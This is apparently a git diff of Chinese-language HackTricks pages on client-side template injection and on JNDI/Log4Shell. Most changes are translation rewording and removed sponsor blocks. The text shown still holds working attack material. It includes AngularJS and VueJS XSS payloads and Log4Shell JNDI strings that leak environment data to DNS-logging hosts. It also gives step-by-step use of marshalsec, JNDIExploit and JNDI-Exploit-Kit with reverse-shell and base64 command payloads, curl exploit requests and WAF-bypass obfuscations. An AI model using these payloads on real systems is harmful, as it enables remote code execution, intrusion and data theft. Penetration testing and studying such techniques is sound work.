[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 摘要
|
||||
|
||||
这就像 [**服务器端模板注入**](ssti-server-side-template-injection/) 但在 **客户端**。 **SSTI** 允许您在远程服务器上 **执行代码**,而 **CSTI** 可能允许您在受害者的浏览器中 **执行任意 JavaScript** 代码。
|
||||
它类似于 [**服务器端模板注入**](ssti-server-side-template-injection/),但在 **客户端**。**SSTI** 允许您在远程服务器上 **执行代码**,而 **CSTI** 可能允许您在受害者的浏览器中 **执行任意 JavaScript** 代码。
|
||||
|
||||
**测试** 这种漏洞与 **SSTI** 的情况非常 **相似**,解释器期望 **一个模板** 并将其执行。例如,使用像 `{{ 7-7 }}` 的有效载荷,如果应用程序是 **脆弱的**,您将看到 `0`,如果不是,您将看到原始内容:`{{ 7-7 }}`
|
||||
|
||||
|
@ -48,7 +35,7 @@ AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属
|
|||
<!-- Google Research - AngularJS -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
您可以在 **AngularJS** 中找到一个非常 **基本的在线示例**,该漏洞位于 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
您可以在 **AngularJS** 的 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) 中找到一个非常 **基本的在线示例**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
[**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 的有效载荷应该可以工作。
|
||||
|
@ -56,7 +43,7 @@ AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属
|
|||
|
||||
## VueJS
|
||||
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现\
|
||||
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现。\
|
||||
有效载荷: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||||
|
||||
易受攻击示例的 **源代码** 在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
|
@ -70,7 +57,7 @@ AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属
|
|||
```
|
||||
{{_openBlock.constructor('alert(1)')()}}
|
||||
```
|
||||
致谢: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
信用: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V2**
|
||||
```
|
||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -123,8 +100,8 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,24 +15,16 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
JNDI 自 1990 年代末集成到 Java 中,作为目录服务,使 Java 程序能够通过命名系统定位数据或对象。它通过服务提供者接口 (SPI) 支持各种目录服务,允许从不同系统检索数据,包括远程 Java 对象。常见的 SPI 包括 CORBA COS、Java RMI 注册表和 LDAP。
|
||||
JNDI 自 1990 年代末集成到 Java 中,作为目录服务,使 Java 程序能够通过命名系统定位数据或对象。它通过服务提供者接口 (SPIs) 支持各种目录服务,允许从不同系统检索数据,包括远程 Java 对象。常见的 SPI 包括 CORBA COS、Java RMI 注册表和 LDAP。
|
||||
|
||||
### JNDI 命名引用
|
||||
### JNDI 命名参考
|
||||
|
||||
Java 对象可以使用 JNDI 命名引用进行存储和检索,形式有两种:
|
||||
|
||||
* **引用地址**:指定对象的位置(例如,_rmi://server/ref_),允许直接从指定地址检索。
|
||||
* **远程工厂**:引用远程工厂类。访问时,该类从远程位置下载并实例化。
|
||||
* **远程工厂**:引用远程工厂类。当访问时,该类从远程位置下载并实例化。
|
||||
|
||||
然而,这种机制可能被利用,可能导致加载和执行任意代码。作为对策:
|
||||
|
||||
|
@ -40,7 +32,7 @@ Java 对象可以使用 JNDI 命名引用进行存储和检索,形式有两种
|
|||
* **LDAP**:`com.sun.jndi.ldap.object.trustURLCodebase = false` 从 JDK 6u141、7u131、8u121 开始默认设置,阻止执行远程加载的 Java 对象。如果设置为 `true`,则可以在没有安全管理器监督的情况下执行远程代码。
|
||||
* **CORBA**:没有特定属性,但安全管理器始终处于活动状态。
|
||||
|
||||
然而,负责解析 JNDI 链接的 **命名管理器** 缺乏内置安全机制,可能允许从任何来源检索对象。这构成风险,因为 RMI、LDAP 和 CORBA 的保护措施可能被绕过,导致加载任意 Java 对象或利用现有应用组件(小工具)运行恶意代码。
|
||||
然而,负责解析 JNDI 链接的 **命名管理器** 缺乏内置安全机制,可能允许从任何来源检索对象。这构成风险,因为 RMI、LDAP 和 CORBA 的保护措施可能被绕过,导致加载任意 Java 对象或利用现有应用程序组件(小工具)运行恶意代码。
|
||||
|
||||
可利用的 URL 示例包括:
|
||||
|
||||
|
@ -54,7 +46,7 @@ Java 对象可以使用 JNDI 命名引用进行存储和检索,形式有两种
|
|||
|
||||
![](<../../.gitbook/assets/image (1022).png>)
|
||||
|
||||
即使您已设置 **`PROVIDER_URL`**,您仍可以在查找中指示不同的 URL,并将其访问:`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者将利用的方式,从他控制的系统加载任意对象。
|
||||
即使您已设置 **`PROVIDER_URL`**,您仍可以在查找中指示不同的 URL,并将其访问:`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者将利用的内容,从他控制的系统加载任意对象。
|
||||
|
||||
### CORBA 概述
|
||||
|
||||
|
@ -68,13 +60,13 @@ CORBA(通用对象请求代理架构)使用 **可互操作对象引用 (IOR)
|
|||
* 安装 **安全管理器**。
|
||||
* 配置安全管理器以允许连接到潜在恶意的代码库。这可以通过以下方式实现:
|
||||
* 套接字权限,例如,`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
||||
* 文件读取权限,可以是通用的(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)或特定目录的权限,其中可能放置恶意文件。
|
||||
* 文件读取权限,可以是通用的(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)或针对可能放置恶意文件的特定目录。
|
||||
|
||||
然而,一些供应商政策可能会宽松,默认允许这些连接。
|
||||
|
||||
### RMI 上下文
|
||||
|
||||
对于 RMI(远程方法调用),情况有些不同。与 CORBA 一样,默认情况下限制任意类下载。要利用 RMI,通常需要绕过安全管理器,这在 CORBA 中也同样适用。
|
||||
对于 RMI(远程方法调用),情况有些不同。与 CORBA 一样,默认情况下限制任意类下载。要利用 RMI,通常需要绕过安全管理器,这在 CORBA 中也同样相关。
|
||||
|
||||
### LDAP
|
||||
|
||||
|
@ -82,10 +74,10 @@ CORBA(通用对象请求代理架构)使用 **可互操作对象引用 (IOR)
|
|||
**搜索**将使用类似 `ldap://localhost:389/o=JNDITutorial` 的 URL 从 LDAP 服务器查找 JNDITutorial 对象并 **检索其属性**。\
|
||||
**查找**旨在用于 **命名服务**,因为我们想获取 **绑定到名称的任何内容**。
|
||||
|
||||
如果 LDAP 搜索是通过 **SearchControls.setReturningObjFlag() 设置为 `true` 调用的,则返回的对象将被重构**。
|
||||
如果 LDAP 搜索是通过 **SearchControls.setReturningObjFlag() 设置为 `true` 调用的,则返回的对象将被重建**。
|
||||
|
||||
因此,有几种方法可以攻击这些选项。\
|
||||
**攻击者可能会通过在 LDAP 记录中引入有效负载来污染它们**,这些有效负载将在收集它们的系统中执行(如果您可以访问 LDAP 服务器,这非常有用,可以 **妥协数十台机器**)。另一种利用此漏洞的方法是执行 **LDAP 搜索中的 MitM 攻击**。
|
||||
**攻击者可能会通过在 LDAP 记录中引入有效负载来污染它们**,这些有效负载将在收集它们的系统中执行(如果您可以访问 LDAP 服务器,这非常有用,可以 **妥协数十台机器**)。另一种利用此漏洞的方法是执行 **MitM 攻击**,例如在 LDAP 搜索中。
|
||||
|
||||
如果您可以 **使应用程序解析 JNDI LDAP URL**,您可以控制将要搜索的 LDAP,并可以返回有效负载(log4shell)。
|
||||
|
||||
|
@ -108,19 +100,19 @@ CORBA(通用对象请求代理架构)使用 **可互操作对象引用 (IOR)
|
|||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) 引入了 `jndi` 查找功能。此功能通过 JNDI 启用变量的检索。通常,键会自动以 `java:comp/env/` 为前缀。然而,如果键本身包含 **":"**,则不会应用此默认前缀。
|
||||
|
||||
在键中存在 **:** 时,例如 `${jndi:ldap://example.com/a}`,则 **没有前缀**,并且 **LDAP 服务器会查询该对象**。这些查找可以在 Log4j 的配置中使用,也可以在记录的行中使用。
|
||||
在键中存在 **:** 时,例如 `${jndi:ldap://example.com/a}`,将 **没有前缀**,并且 **LDAP 服务器会查询该对象**。这些查找可以在 Log4j 的配置中使用,也可以在记录行时使用。
|
||||
|
||||
因此,获取 RCE 所需的唯一条件是 **处理用户控制信息的 Log4j 漏洞版本**。由于这是一个被 Java 应用广泛使用的库来记录信息(包括面向互联网的应用),因此通常会有 log4j 记录例如接收到的 HTTP 头信息,如 User-Agent。然而,log4j **不仅用于记录 HTTP 信息,还用于记录开发人员指示的任何输入和数据**。
|
||||
因此,获取 RCE 所需的唯一条件是 **处理用户控制信息的 Log4j 漏洞版本**。由于这是一个被 Java 应用程序广泛使用的库来记录信息(包括面向互联网的应用程序),因此通常会有 log4j 记录例如接收到的 HTTP 头信息,如 User-Agent。然而,log4j **不仅用于记录 HTTP 信息,还用于记录开发人员指示的任何输入和数据**。
|
||||
|
||||
## Log4Shell 相关 CVE 概述
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[严重]**
|
||||
|
||||
此漏洞是 `log4j-core` 组件中的一个严重 **不受信任的反序列化缺陷**,影响版本从 2.0-beta9 到 2.14.1。它允许 **远程代码执行 (RCE)**,使攻击者能够接管系统。该问题由来自阿里云安全团队的陈兆军报告,影响多个 Apache 框架。版本 2.15.0 中的初始修复不完整。防御的 Sigma 规则可用([规则 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml),[规则 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))。
|
||||
此漏洞是 `log4j-core` 组件中的一个严重 **不受信任的反序列化缺陷**,影响版本从 2.0-beta9 到 2.14.1。它允许 **远程代码执行 (RCE)**,使攻击者能够接管系统。该问题由阿里云安全团队的陈兆军报告,影响多个 Apache 框架。版本 2.15.0 中的初始修复不完整。防御的 Sigma 规则可用([规则 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml),[规则 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))。
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[严重]**
|
||||
|
||||
最初评级为低,但后来升级为严重,此 CVE 是由于 2.15.0 对 CVE-2021-44228 的修复不完整而导致的 **拒绝服务 (DoS)** 缺陷。它影响非默认配置,允许攻击者通过精心制作的有效负载造成 DoS 攻击。一个 [推文](https://twitter.com/marcioalm/status/1471740771581652995) 展示了一种绕过方法。该问题在版本 2.16.0 和 2.12.2 中通过移除消息查找模式和默认禁用 JNDI 解决。
|
||||
最初评级为低,但后来升级为严重,此 CVE 是由于 2.15.0 对 CVE-2021-44228 的修复不完整而导致的 **拒绝服务 (DoS)** 缺陷。它影响非默认配置,允许攻击者通过精心制作的有效负载造成 DoS 攻击。一个 [推文](https://twitter.com/marcioalm/status/1471740771581652995) 展示了一种绕过方法。该问题在版本 2.16.0 和 2.12.2 中通过删除消息查找模式和默认禁用 JNDI 解决。
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**
|
||||
|
||||
|
@ -128,7 +120,7 @@ CORBA(通用对象请求代理架构)使用 **可互操作对象引用 (IOR)
|
|||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**
|
||||
|
||||
此漏洞影响 **Logback 日志框架**,这是 Log4j 1.x 的继任者。之前认为是安全的,该框架被发现存在漏洞,已发布新版本(1.3.0-alpha11 和 1.2.9)以解决该问题。
|
||||
此漏洞影响 **Logback 日志框架**,这是 Log4j 1.x 的继任者。之前认为是安全的,该框架被发现存在漏洞,并已发布新版本(1.3.0-alpha11 和 1.2.9)以解决该问题。
|
||||
|
||||
### **CVE-2021-45105** **\[高]**
|
||||
|
||||
|
@ -171,7 +163,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
* **利用** 漏洞 **提取信息**
|
||||
|
||||
例如,您可以请求类似于:\
|
||||
或像 `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果 **接收到的 DNS 请求包含环境变量的值**,您就知道该应用程序存在漏洞。
|
||||
或像 `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到的 **DNS 请求包含环境变量的值**,您就知道该应用程序存在漏洞。
|
||||
|
||||
您可以尝试 **泄露** 的其他信息:
|
||||
```
|
||||
|
@ -231,12 +223,12 @@ Any other env variable name that could store sensitive information
|
|||
|
||||
对于旨在利用这些较高 JDK 版本的攻击者,必须在 Java 应用程序中利用**受信任的工具**。像 ysoserial 或 JNDIExploit 这样的工具通常用于此目的。相反,利用较低的 JDK 版本相对容易,因为这些版本可以被操纵以加载和执行任意类。
|
||||
|
||||
有关**更多信息**(_例如 RMI 和 CORBA 向量的限制_),**请查看之前的 JNDI 命名参考部分**或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
有关**更多信息**(_例如 RMI 和 CORBA 向量的限制_),**请查看前面的 JNDI 命名参考部分**或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec 与自定义有效负载
|
||||
|
||||
您可以在**THM box**中测试此内容:[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
您可以在 **THM box** 中测试此内容: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)(jar 版本可在 [**这里**](https://github.com/RandomRobbieBF/marshalsec-jar) 获取)。此方法建立一个 LDAP 引用服务器,以将连接重定向到一个次级 HTTP 服务器,在该服务器上将托管漏洞:
|
||||
```bash
|
||||
|
@ -267,7 +259,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
|||
{% hint style="info" %}
|
||||
请注意,出于某种原因,作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。
|
||||
|
||||
此外,您无法在时光机中找到源代码,因此要么分析源代码,要么执行jar文件,前提是您不知道自己在执行什么。
|
||||
此外,您无法在时光机中找到源代码,因此要么分析源代码,要么在不知道自己正在执行什么的情况下执行jar。
|
||||
{% endhint %}
|
||||
|
||||
在此示例中,您可以在8080端口运行此**易受攻击的web服务器以进行log4shell**:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)(_在README中您将找到如何运行它_)。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。
|
||||
|
@ -278,17 +270,17 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
在阅读代码仅几分钟后,在 _com.feihong.ldap.LdapServer_ 和 _com.feihong.ldap.HTTPServer_ 中,您可以看到 **LDAP 和 HTTP 服务器是如何创建的**。LDAP 服务器将理解需要提供的有效负载,并将受害者重定向到 HTTP 服务器,后者将提供漏洞利用。\
|
||||
在 _com.feihong.ldap.gadgets_ 中,您可以找到 **一些特定的工具**,可以用来执行所需的操作(可能执行任意代码)。在 _com.feihong.ldap.template_ 中,您可以看到不同的模板类,这些类将 **生成漏洞利用**。
|
||||
在阅读代码仅几分钟后,在 _com.feihong.ldap.LdapServer_ 和 _com.feihong.ldap.HTTPServer_ 中,您可以看到 **LDAP 和 HTTP 服务器是如何创建的**。LDAP 服务器将理解需要提供的有效负载,并将受害者重定向到 HTTP 服务器,后者将提供利用程序。\
|
||||
在 _com.feihong.ldap.gadgets_ 中,您可以找到 **一些特定的工具**,可以用来执行所需的操作(可能执行任意代码)。在 _com.feihong.ldap.template_ 中,您可以看到不同的模板类,这些类将 **生成利用程序**。
|
||||
|
||||
您可以使用 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** 查看所有可用的漏洞利用。一些有用的包括:
|
||||
您可以使用 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** 查看所有可用的利用程序。一些有用的包括:
|
||||
```bash
|
||||
ldap://null:1389/Basic/Dnslog/[domain]
|
||||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||||
# But there are a lot more
|
||||
```
|
||||
所以,在我们的例子中,我们已经有了那个易受攻击的 Docker 应用程序在运行。要攻击它:
|
||||
所以,在我们的例子中,我们已经有了那个易受攻击的docker应用程序在运行。要攻击它:
|
||||
```bash
|
||||
# Create a file inside of th vulnerable host:
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||||
|
@ -304,7 +296,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
与之前的利用方式类似,您可以尝试使用 [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) 来利用此漏洞。\
|
||||
您可以生成要发送给受害者的 URL,运行:
|
||||
您可以运行以下命令生成要发送给受害者的 URL:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
@ -365,15 +357,15 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## Post-Log4Shell 利用
|
||||
## Log4Shell 后利用
|
||||
|
||||
在这个 [**CTF 文章**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 中很好地解释了如何 **可能** **滥用** **Log4J** 的某些功能。
|
||||
在这个 [**CTF 写作**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 中很好地解释了如何 **可能** **滥用** **Log4J** 的某些功能。
|
||||
|
||||
Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html) 有一些有趣的句子:
|
||||
|
||||
> 从版本 2.16.0(对于 Java 8)开始,**消息查找功能已被完全移除**。**配置中的查找仍然有效**。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
|
||||
|
||||
> 从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,**只有配置中的查找字符串会递归展开**;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。
|
||||
> 从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,**仅在配置中的查找字符串被递归展开**;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。
|
||||
|
||||
这意味着默认情况下你可以 **忘记使用任何 `jndi` 漏洞**。此外,要执行 **递归查找**,你需要进行配置。
|
||||
|
||||
|
@ -387,11 +379,11 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
### Env Lookups
|
||||
|
||||
在 [这个 CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) 中,攻击者控制了 `${sys:cmd}` 的值,并需要从环境变量中提取标志。\
|
||||
如在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 页面中所见,有几种访问环境变量的方法,例如:**`${env:FLAG}`**。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。
|
||||
如在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 页面中所见,有不同的方法可以访问环境变量,例如:**`${env:FLAG}`**。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
在 CTF 中,你 **无法访问** 使用 log4J 的 Java 应用程序的 stderr,但 Log4J **异常会发送到 stdout**,这在 Python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在,异常的值将显示标志:
|
||||
在 CTF 中,你 **无法访问 java 应用程序的 stderr**,使用 log4J,但 Log4J **异常会发送到 stdout**,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在,异常的值将显示标志:
|
||||
|
||||
![](<../../.gitbook/assets/image (1023).png>)
|
||||
|
||||
|
@ -401,13 +393,13 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有解决,但它可能对其他事情有用,例如检测。
|
||||
这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有解决,但它可能对其他事情如检测有用。
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
然而,可以使用一些 **支持正则表达式的转换模式** 通过使用正则表达式和滥用 **二分查找** 或 **基于时间** 的行为来提取信息。
|
||||
|
||||
* **通过异常消息进行二分查找**
|
||||
* **通过异常消息的二分查找**
|
||||
|
||||
转换模式 **`%replace`** 可以用来 **替换** **字符串** 中的 **内容**,甚至使用 **正则表达式**。它的工作方式是:`replace{pattern}{regex}{substitution}`\
|
||||
滥用这种行为,你可以使替换 **在正则表达式匹配字符串中的任何内容时触发异常**(如果未找到则不触发异常),如下所示:
|
||||
|
@ -440,7 +432,7 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> 如果标志以 `flagGuess` 开头,则整个标志将被 29 个 `#` 替换(我使用这个字符是因为它可能不会是标志的一部分)。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**,导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
> 如果标志以 `flagGuess` 开头,整个标志将被 29 个 `#` 替换(我使用这个字符是因为它可能不会是标志的一部分)。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**,导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
>
|
||||
> 替换如此多的 `#` 将触发 Flask 应用程序的 10 秒超时,这将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态代码)
|
||||
|
||||
|
@ -455,15 +447,10 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
